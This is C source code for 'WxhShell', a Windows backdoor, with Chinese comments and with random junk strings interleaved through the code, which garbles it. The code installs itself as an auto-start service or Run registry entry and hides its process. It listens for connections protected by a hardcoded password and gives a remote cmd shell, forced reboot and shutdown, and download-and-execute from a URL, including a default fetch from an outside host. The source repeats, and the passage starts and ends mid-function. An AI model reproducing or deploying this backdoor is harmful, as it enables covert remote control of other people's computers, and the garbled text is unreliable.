,"EnumProcessModules"); UJ`%uLR~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :(I=z6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
LNvkC4 R(2MI}T if (!NtQueryInformationProcess) return 0; n&8N`!^o lEpPi@2PK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P.~sNd oJ if(!hProcess) return 0; ,88%eX| xG(:O@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t5QGXj ">s0B5F7 CloseHandle(hProcess); hG3RZN#ejq /Wy9". hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^1ks`1 if(hProcess==NULL) return 0; _K~?{". 7RgnL<t~:8 HMODULE hMod; K=2j}IPe char procName[255]; .\)p3pC) unsigned long cbNeeded; &HJ~\6r\ gKb5W094@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YC}$O2 tI2p-d9B CloseHandle(hProcess); CzT_$v_ U9AtC.IG! if(strstr(procName,"services")) return 1; // 以服务启动 )sapUnqrlR J1Y3>40 return 0; // 注册表启动 F#{PJ# } -A Nq!$E ? oGmGKq // 主模块 St1>J.k_ int StartWxhshell(LPSTR lpCmdLine) P+3)YO1C { {K2F(kz?T SOCKET wsl; !?)iP BOOL val=TRUE; *Xd_=@L&B int port=0; k_Edug~B struct sockaddr_in door; F^');8~L PiIILX{DuH if(wscfg.ws_autoins) Install(); Xgm9>/y wmPpE_{ port=atoi(lpCmdLine); j8p'B-yS #D!3a%u0 if(port<=0) port=wscfg.ws_port; @i:_JOl kC[nY WSADATA data; e 3>k" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4^B:Q9B) >:P3j<xTv if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8%#uZG\} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K#{E87G( door.sin_family = AF_INET; ? 5
V-D8k door.sin_addr.s_addr = inet_addr("127.0.0.1"); r^6vo6^ door.sin_port = htons(port); 'lNl><e- -/&6}lD if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PZl(S}VY closesocket(wsl); -nT+!3A8 return 1; UoxF00H@! } I@q>ES!1H HIeMV,.QN if(listen(wsl,2) == INVALID_SOCKET) { ;7<a0HZ5! closesocket(wsl); c#;LH5KI return 1; P-`^I`r } bvR*sT#rg Wxhshell(wsl); |@-WC. WSACleanup(); AjANuyUaP a^5`fA/L, return 0; =-pss 47 y$V{yh[: } +;[`fSi )SUN+YV^ // 以NT服务方式启动 <p0$Q!^dK= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W@$p'IBwm { d8RpL{9\7 DWORD status = 0; 16Gv?
I
h DWORD specificError = 0xfffffff; (Fgt #H(B v,i:vT\~ serviceStatus.dwServiceType = SERVICE_WIN32; S s`0;D1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; '/
&" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LMG\jc?, serviceStatus.dwWin32ExitCode = 0; #!D5DK@+ serviceStatus.dwServiceSpecificExitCode = 0; i)(QNpv serviceStatus.dwCheckPoint = 0; V!<#E)-?< serviceStatus.dwWaitHint = 0; VDmd+bvJV VD3[ko hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N~ozyIP, if (hServiceStatusHandle==0) return; #*]=
%-A *-Yw0Y[E status = GetLastError(); `(a^=e5 if (status!=NO_ERROR) )eV40l$
M { #dfW1@m serviceStatus.dwCurrentState = SERVICE_STOPPED; hW+Dko(s serviceStatus.dwCheckPoint = 0; |}|;OG serviceStatus.dwWaitHint = 0; Q8~pIv serviceStatus.dwWin32ExitCode = status; 6e*b;{d serviceStatus.dwServiceSpecificExitCode = specificError; Le'\x`B SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1<p"z,c return; v:0i5h&M } 09?<K)_G dCK-"#T! serviceStatus.dwCurrentState = SERVICE_RUNNING; k1H0hDE serviceStatus.dwCheckPoint = 0; ZF/KV\Ag) serviceStatus.dwWaitHint = 0; yEny2q} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QaO`:wJj } FS}z_G|4] m&%b;%,J // 处理NT服务事件,比如:启动、停止 o|W? a#_\ VOID WINAPI NTServiceHandler(DWORD fdwControl) Ttj5%~ { @6!JW(,]\ switch(fdwControl) e`rY]X { WI,=?~- case SERVICE_CONTROL_STOP: ?:nZv<
x serviceStatus.dwWin32ExitCode = 0; Uk2q,2 serviceStatus.dwCurrentState = SERVICE_STOPPED; lBdF9F< serviceStatus.dwCheckPoint = 0; w3Ohm7N[ serviceStatus.dwWaitHint = 0; ~-GDheA { [s2V-'2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); }BrE|'.j' } *La =7y: return; ^-!HbbVv case SERVICE_CONTROL_PAUSE: 0)]1)z(P serviceStatus.dwCurrentState = SERVICE_PAUSED; (r4VIlap break; =R.9"7~2x case SERVICE_CONTROL_CONTINUE: n4 @a`lN5g serviceStatus.dwCurrentState = SERVICE_RUNNING; <yPHdbF break; R6XMBYK^ case SERVICE_CONTROL_INTERROGATE: Y(zN break; :gq@/COo( }; 7nz+n# SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0gD0}nH } i@Zj7#e* )<F\IM // 标准应用程序主函数 i_Z5SMZ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fNPj8\#V, { q'U5QyuC qo-F9u1J // 获取操作系统版本 Td1ba ^J OsIsNt=GetOsVer(); d %W}w. GetModuleFileName(NULL,ExeFile,MAX_PATH); _vV&4> xPup?oP > // 从命令行安装 D!a5#+\C if(strpbrk(lpCmdLine,"iI")) Install(); KB R0p&MN #L:P
R> // 下载执行文件 s;7qNwYO if(wscfg.ws_downexe) { 6.s? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
t} i97 ; WinExec(wscfg.ws_filenam,SW_HIDE); `L#?eQ{ } m%c0#=D F ssEs!# if(!OsIsNt) { @) ZO$h // 如果时win9x,隐藏进程并且设置为注册表启动 (TNY2Ke2 8 HideProc(); u?;Vxh3@| StartWxhshell(lpCmdLine); *X
l<aNNx } }K80G~O2< else E97+GJ3 if(StartFromService()) C!{AnWf // 以服务方式启动 4ylDD|) rO StartServiceCtrlDispatcher(DispatchTable); - (_e=3$ else O+p-1 C$\ // 普通方式启动 3E}NiD\V} StartWxhshell(lpCmdLine); ZoON5P> Lv5X 'yM return 0; /;NE]{K } mH*@d" ?QSx8d 4^[}]'w `}~)1'(#/ =========================================== 3$N %iE6 *V6QBe lIVxW+ M_!u@\ Z-t}6c'Kg Ue3B+k9w " WiNr866nB 6<s(e_5f #include <stdio.h> r'd:SaU+ #include <string.h> >{ECyh; #include <windows.h> R] Disljq #include <winsock2.h> 0n*rs=\VG #include <winsvc.h> Ep<!zO| #include <urlmon.h> ?UZ$bz EItxRHV5 #pragma comment (lib, "Ws2_32.lib") eA1k)gjE #pragma comment (lib, "urlmon.lib") D(qHf9 *9dV/TT~f[ #define MAX_USER 100 // 最大客户端连接数 .>kccLr:z #define BUF_SOCK 200 // sock buffer U6juS/ #define KEY_BUFF 255 // 输入 buffer 7sud/*+F T/wM(pr'
#define REBOOT 0 // 重启 C|4U78f{ #define SHUTDOWN 1 // 关机 7MO dd\bI_ #define DEF_PORT 5000 // 监听端口 M)"]$TM Ql~#((K #define REG_LEN 16 // 注册表键长度 FgOUe #define SVC_LEN 80 // NT服务名长度 k;;nE o~6 C~ZE95g // 从dll定义API [i(Cl} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s?^,iQ+tp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vIVw'Z(g} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @A
[)hk&(R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d[Rb:Yw g|ql 5jW // wxhshell配置信息 t/JOERw struct WSCFG { jOBY&W0r int ws_port; // 监听端口 :
cFF char ws_passstr[REG_LEN]; // 口令 <ZigCo w int ws_autoins; // 安装标记, 1=yes 0=no PM~bM3Ei char ws_regname[REG_LEN]; // 注册表键名 EkRdpiLB char ws_svcname[REG_LEN]; // 服务名 G%2P char ws_svcdisp[SVC_LEN]; // 服务显示名 M0O>Ljo4RN char ws_svcdesc[SVC_LEN]; // 服务描述信息 T(Y}V[0+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pNp^q/-yB int ws_downexe; // 下载执行标记, 1=yes 0=no ZJ^s} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t-!Rgg$9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `Uzs+k-] /GsSrP_?] }; uyL72($ oz%h)#; // default Wxhshell configuration >W8bWQ^fK struct WSCFG wscfg={DEF_PORT, k?^%hO>[ "xuhuanlingzhe", -"F0eV+y 1, ewo*7j4* "Wxhshell", d2ohW| "Wxhshell", (tJ91SBl "WxhShell Service", \C|;F "Wrsky Windows CmdShell Service", 4w@v#H@ "Please Input Your Password: ", 6yN"
l
Q7 1, 5+`=t07^et "http://www.wrsky.com/wxhshell.exe", ?#4+r_dP "Wxhshell.exe" w]n4KR4 }; SLSF
<$ ll_}& a0G // 消息定义模块 6%>/og\% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'w}p[( char *msg_ws_prompt="\n\r? for help\n\r#>"; m6-76ma,hi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hr8\QgD<4 char *msg_ws_ext="\n\rExit."; Bk+{} char *msg_ws_end="\n\rQuit."; 6mwvI4) char *msg_ws_boot="\n\rReboot..."; -=}b;Kf- char *msg_ws_poff="\n\rShutdown..."; H;qJH1EdD char *msg_ws_down="\n\rSave to "; XHy? THJ
3-Ug char *msg_ws_err="\n\rErr!"; 3Mw}R6g@# char *msg_ws_ok="\n\rOK!"; M]1; Bn{)|&; char ExeFile[MAX_PATH]; E$w#+.QP int nUser = 0; #7+]%;h HANDLE handles[MAX_USER]; WI6(#8^p int OsIsNt; ikr7DBLt *y{+W SERVICE_STATUS serviceStatus; gd
K*"U SERVICE_STATUS_HANDLE hServiceStatusHandle; *=TYVM9 +SyUWoM // 函数声明 =C#*!N73 int Install(void); ;t|,nz4kJ int Uninstall(void); 8|6~o.B.G int DownloadFile(char *sURL, SOCKET wsh); *(icR int Boot(int flag); of=ql void HideProc(void); KYf;_C,$ int GetOsVer(void); 6i| ~7md, int Wxhshell(SOCKET wsl); >{b3>s~T void TalkWithClient(void *cs); } #qQ2NCH int CmdShell(SOCKET sock); P0)AUi int StartFromService(void); ?&6Q%IUW1 int StartWxhshell(LPSTR lpCmdLine); '^DUq?E4 .D!WO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t?HF-zQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); rfc|`*m}0 |WBZN1W) // 数据结构和表定义 >%l:Dw\A: SERVICE_TABLE_ENTRY DispatchTable[] = oJh"@6u6K { TVYz3~m {wscfg.ws_svcname, NTServiceMain}, e:BDQU {NULL, NULL} :s]\k%" }; **n y! %7 /,m // 自我安装 ]=|P<F int Install(void) [8TS"ph> { :mP9^Do2; char svExeFile[MAX_PATH]; <n\i>A3`,S HKEY key; m d_g}N(C strcpy(svExeFile,ExeFile); z-I|h~ii &y\igX1 // 如果是win9x系统,修改注册表设为自启动 M|H2kvl if(!OsIsNt) { *x!LKIpv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UhdqY] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fo(y7$33* RegCloseKey(key); DL1
+c`d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l|7O)
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;P8(Zf3wJb RegCloseKey(key); b Ob
Nc return 0; Sk$KqHX( } 03Ukw/D& } H#`8Ey } MOeoU1Hn else { ?M~
k$ 8jNOEM(0Y+ // 如果是NT以上系统,安装为系统服务 tpZ->)1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OT@yPG if (schSCManager!=0)
|Qr:!MA { !=y Q)l2 SC_HANDLE schService = CreateService YD9!=a$ ( djGs~H>;U_ schSCManager, @k9Pz<ub wscfg.ws_svcname, V)h
y0_ wscfg.ws_svcdisp, ^vM_kArA SERVICE_ALL_ACCESS, `O
n(v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0qR$J SERVICE_AUTO_START, D J_DonO] SERVICE_ERROR_NORMAL, sG1BNb_ svExeFile, c=aO5(i0 NULL, abSq2*5K NULL, `2e_ L NULL, g}Mi9Kp NULL, 9(OAKUQ NULL #j.FJFGX ); )qd={ if (schService!=0) I=odMw7Hj { N iISJWk6' CloseServiceHandle(schService); &mdB\Y?^ CloseServiceHandle(schSCManager); NWaO_sm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O8y9dX-2 strcat(svExeFile,wscfg.ws_svcname); s`1^*Dl%+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7 Kjj?~RA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z/h|\SyJ RegCloseKey(key); 0Z8/R return 0; }DHUTP2;yz } > Y]_K } ])UwC-l CloseServiceHandle(schSCManager); kC31$jMC3! } ;j!UY.i } 5zVQ;;9 =]d^3bqN return 1; J'Gm7h{
} q0g1EJar wE4;Rk1 // 自我卸载 XR+rT int Uninstall(void) Q0WY$w1< { s-%J5_d f HKEY key; 506V0]`/ ydup)[n if(!OsIsNt) { 2+Zti8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1w17L]4 RegDeleteValue(key,wscfg.ws_regname); m3luhGn RegCloseKey(key); 4&]%e6,jH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RAwk7F3qn RegDeleteValue(key,wscfg.ws_regname); =Sa~\k+ RegCloseKey(key); C/ return 0; )vQNiik# } mtIMW9 } bOe<\Y$ } BvQUn@ XE else { Az9J\V~" K.%z;(U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *0\k
Z,#BJ if (schSCManager!=0) $ hoYkA { j3LNnZY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U1jSUkqb if (schService!=0) 8:<1|]] { F "!`X# if(DeleteService(schService)!=0) { j
C9<hLt CloseServiceHandle(schService); xY+A]Up|w CloseServiceHandle(schSCManager); 3<3t;&e return 0; ]o `4Z" } &*jixqzvn CloseServiceHandle(schService); c[Yq5Bu{y } 9!cW CloseServiceHandle(schSCManager); [&Lxz~W][ } sZT VM9<) } 1&} G+y /CbkqNV return 1; sv@}x[L } X!m;uJZp . rRc // 从指定url下载文件 ypxC1E int DownloadFile(char *sURL, SOCKET wsh) eZ[#+0J {
nMeS CX HRESULT hr; X=\x&Wt char seps[]= "/"; } cRi
A char *token; \/pVcR char *file; %N!h38N2 char myURL[MAX_PATH]; N:5b1TdI, char myFILE[MAX_PATH]; V.+DP cz$c)It strcpy(myURL,sURL); k#BU7Exij token=strtok(myURL,seps); EccFx7h while(token!=NULL) |I4D(#w. { /\Jc:v#Q file=token; 3KbUHSx token=strtok(NULL,seps); Idt@Hk5<& } x[zKtX 54bF)<+ GetCurrentDirectory(MAX_PATH,myFILE); Q^\{Zg)p strcat(myFILE, "\\"); `;R|V strcat(myFILE, file); <ihhV e send(wsh,myFILE,strlen(myFILE),0); ,80jMs send(wsh,"...",3,0); 3J23q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ak.G= if(hr==S_OK) /%c+
eL}l return 0; <1v{[F_ else 'Wd3`4V$ return 1; ikeJDKSG @?(nwj~ s` } W5M
] XT\Td}> // 系统电源模块 'cWlY3%t int Boot(int flag) eYPt { /2=_B4E2 HANDLE hToken; f'8B[&@L TOKEN_PRIVILEGES tkp; i+kFL$N o<9yaQ; if(OsIsNt) { Nu>sp,|A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g9RzzE! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 17?NR\Q tkp.PrivilegeCount = 1; 7]R6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1==P.d( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bgkbwE if(flag==REBOOT) { yL^M~lws if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >^2ZM return 0; e/g<<f- } WoC\a^V else { 1)nM#@%](h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k
2
mkOb return 0; '` BjRg57] } +Y_Q?/M@8 } y$+!%y* else { )m$1al if(flag==REBOOT) { /1s 9;'I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AIIBd return 0; "H/2r]?GT } [M,27 else { <lsi.x\y< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f=-!2#% return 0; 3}.mp}K5 } 98"z0nI% } 3"2<T^H] I\F=s-VVY return 1; Y,<WX
v } UvW:# 83p$!8]u // win9x进程隐藏模块 59"Nn\}3gE void HideProc(void) -Ihn<<uE? { mYsuNTx!. =l?"=HF HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6w:g77SH)% if ( hKernel != NULL ) @5dBb+0J { X7imUy'. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !<['iM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gn4g 43 FreeLibrary(hKernel); qx#ghcU } ]ZU:%Qhu qU
/Wg return; gzJ{Gau{) } 8gu7f;H/k 0YsN82IDD // 获取操作系统版本 l yLK$B?/ int GetOsVer(void)
@zq\z$ { /hA}9+/ OSVERSIONINFO winfo; ^0BF2&Zx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %l]rQjV- GetVersionEx(&winfo); Rp4BU"&sU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KWZNu&)
return 1; 5e~{7{ else S|u1QGB return 0; _,-M8=dL%* } {H7$uiq3:B &&QDEDszp // 客户端句柄模块 szM=U$jKq int Wxhshell(SOCKET wsl) ED =BZR { ]aMa*fF SOCKET wsh; EF7|%N struct sockaddr_in client; q_m#BE;t DWORD myID; *7D$;?" m} FCe while(nUser<MAX_USER) *MyS7< { %onAlf<$:^ int nSize=sizeof(client); `X]2iz wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #.t$A9' if(wsh==INVALID_SOCKET) return 1; t BXsWY{ )*QTxN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =ym~=
S if(handles[nUser]==0) Zv7$epDUz closesocket(wsh); 0_xcrM else !E.lyz nUser++; pQm!Bt L } :Tl6:=B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :R?| 2l 5t1DB'K9$_ return 0; ]e3}9. } >~bj7M6t h,jAtL! // 关闭 socket -"^WDs void CloseIt(SOCKET wsh) DDCQ Af { kk7:A0._ closesocket(wsh); 2n+XML nUser--; arH\QPaka' ExitThread(0); >yHnz?bf@ } |"E9DD]{ rls#gw // 客户端请求句柄 Xq)%w#l5? void TalkWithClient(void *cs) `j"G=%e3. { GpQF* x 9PfU'm|h SOCKET wsh=(SOCKET)cs; wdDHRW0Y char pwd[SVC_LEN]; V4i%|vV char cmd[KEY_BUFF]; /Gv$1t^a
char chr[1]; w3cK:
C0 int i,j; M[N.H9 m-FDCiN> while (nUser < MAX_USER) { r{jD,x2 T[=cKYp8\ if(wscfg.ws_passstr) { Qi]Z)v{^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cTx/Y&\9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6
&Aa b56 //ZeroMemory(pwd,KEY_BUFF); o[ W3/ i=0; uiEA=*axp while(i<SVC_LEN) { /<pQ!'/G 9F1stT0G% // 设置超时 |VEAzY|[# fd_set FdRead; 2/q=l? struct timeval TimeOut; ]<z(Rmn`Q FD_ZERO(&FdRead); ffd3QQ FD_SET(wsh,&FdRead); ^aWNtY'
: TimeOut.tv_sec=8; nL20}"$E TimeOut.tv_usec=0; O;t?@!_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G6bg ~V5Q: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O9&:(2'f G")EE#W$} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kU>|E<c* pwd=chr[0]; r:rJv if(chr[0]==0xd || chr[0]==0xa) { _VJwC| pwd=0; ZTC1t_ break; ,PxQ[CGg } l<%~w
U i++; n{WJ.Y* } )Dpt<}}\ Q8:ocEhR // 如果是非法用户,关闭 socket C
P v}A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <t@*[Aw } ;CBdp-BUj A6.'1OD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a/#,Y<kJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3mz>Y*^?0 8QBL:7< while(1) { X0TGJ,yW( uelTsn ZeroMemory(cmd,KEY_BUFF); XnOl*#P X+@,vCC // 自动支持客户端 telnet标准 3vD,hL`& j=0; !WnI` while(j<KEY_BUFF) { C;>Ll~f_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _3[BS9 cmd[j]=chr[0]; nP31jm+A if(chr[0]==0xa || chr[0]==0xd) { l/NK.Jr cmd[j]=0; hZJqo + s break; KL`>mJo$ } s'4p+eJ j++; Hm*#HT%# } cf!R |pY0IqO // 下载文件 rd{(E if(strstr(cmd,"http://")) { s&</zU' send(wsh,msg_ws_down,strlen(msg_ws_down),0); =1capix 1r if(DownloadFile(cmd,wsh)) $0t
%}DE send(wsh,msg_ws_err,strlen(msg_ws_err),0); k3XtKPO else g2q=&eI" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =p6xc}N } $ 1ZY
Vw else { m
Y0C7i XQ8Imkc switch(cmd[0]) { 06$9Uz9 l!,{bOZ // 帮助 Xv:IbM>
Qc case '?': { Tp13V.| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p2K9R4 break; "Wp<^s sMo } 6wgOmyJx // 安装 p%-9T>og case 'i': { yNL71 >w4 if(Install()) ]u ';zJ. send(wsh,msg_ws_err,strlen(msg_ws_err),0); r "R\ else !w Bmf&= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xk$lQMwZ break; 7@?b _ } tDo0Q/` // 卸载 ;+U9; case 'r': { T_WQzEL^ if(Uninstall()) n C^'2z send(wsh,msg_ws_err,strlen(msg_ws_err),0); [6|vx},N else Up&q#vqIj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L/I-(08!Y: break; 0bE_iu>f' } _f`m/l // 显示 wxhshell 所在路径 nq=fSK( case 'p': { >. Y~F( char svExeFile[MAX_PATH]; )[1m$> strcpy(svExeFile,"\n\r"); Gf?KpU strcat(svExeFile,ExeFile); z0sB*5VH send(wsh,svExeFile,strlen(svExeFile),0); FQyiIT6 break; 1yu!:8=ee } xcig'4L // 重启 $H^6I8> case 'b': { sq_:U_tJ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pP @#|T if(Boot(REBOOT)) d\v _!7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); |zMQe}R@% else { !NCT) #G` closesocket(wsh); }W<L;yD ExitThread(0); mI# BQE`p6 } EB#z\ break; yl}Hr* } 7@F B^[H:y // 关机 Ogb_WO;) case 'd': { 9O"?T7i"# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J{y@ O if(Boot(SHUTDOWN)) T*IudxW send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3jNcL{ else { 5+UiAc$ closesocket(wsh); dY,'6JzC ExitThread(0); vl<J-+|0C } jhLh~.
8 break; ^?2txLv,6 } -n9e-0 // 获取shell Hpt)(Nz: case 's': { AS7!FD6b CmdShell(wsh); 89paR[ closesocket(wsh); ZZTV
>: ExitThread(0); Lh}he:k+ break; wb}tN7~Y; } <L J$GiU // 退出 ld
$`5!Z case 'x': { W.a/k7 p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L6a8%%` CloseIt(wsh); Q%7EC>V break; 4M_83WL } j-
A|\: // 离开 =N=,;<6%A case 'q': { iB?@(10}ES send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ur`v*LT}~ closesocket(wsh); =9c24j WSACleanup(); (:\hor% exit(1); 6-3l6q break; \;3r } L,WKL. } =4zsAa } 5?b9[o+D 9K49<u0O // 提示信息 c_iF S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \c]/4C +/ } 1$^{Uma } 8p
FSm> R:e:B7O~0 return; oI>;O# } 0XYxMN) Cdv TC`~, // shell模块句柄 *f(}@U int CmdShell(SOCKET sock) aQ)9<LsI { `drvu?F STARTUPINFO si; vmoqsdZ/ ZeroMemory(&si,sizeof(si)); "%Jx,L\f{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %S^`/Snv" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eN$~@'w PROCESS_INFORMATION ProcessInfo; WFkXz*7B char cmdline[]="cmd"; Pwq}
;+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OD i)# return 0; {M$1?j"7 } ;
etH) O^f@ g l // 自身启动模式 TC2aD&cw{ int StartFromService(void) 5}m2D=' { ?eu=0|d typedef struct %=]{~5f> { L^=>)\R2$[ DWORD ExitStatus; u7/M>YJ`T DWORD PebBaseAddress; {[$p}#7Y DWORD AffinityMask; !B\\:k]aO^ DWORD BasePriority; G67BQG\av ULONG UniqueProcessId; iz'8P-]K> ULONG InheritedFromUniqueProcessId; cq 0jM;@d } PROCESS_BASIC_INFORMATION; ]8mBFr5E9 %:??QD* PROCNTQSIP NtQueryInformationProcess; wy^>i$TC j'7FTVmJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6wF?FtT static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8\yH7H #*9*[Xbi HANDLE hProcess; K9*K4'#R PROCESS_BASIC_INFORMATION pbi; Kg.E~ JK1b68n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I[&!\Me[+w if(NULL == hInst ) return 0; t*DM^.@ F/!C=nS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v7ae^iU g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #&@&BlIe NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5'o.v^l Dk4Wj"LS if (!NtQueryInformationProcess) return 0; ZK13[_@9 Z?GC+hG` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aqMZ%~7 if(!hProcess) return 0; {ng Jjy}m0)#W_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^=t yf&" 6s Pd")%G CloseHandle(hProcess); @<};Bo' [iDa6mcth hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iBZ+gsSP if(hProcess==NULL) return 0; &o?pZ(\C kh`X92~ HMODULE hMod; 5Zq- |"| char procName[255]; Me8d o;
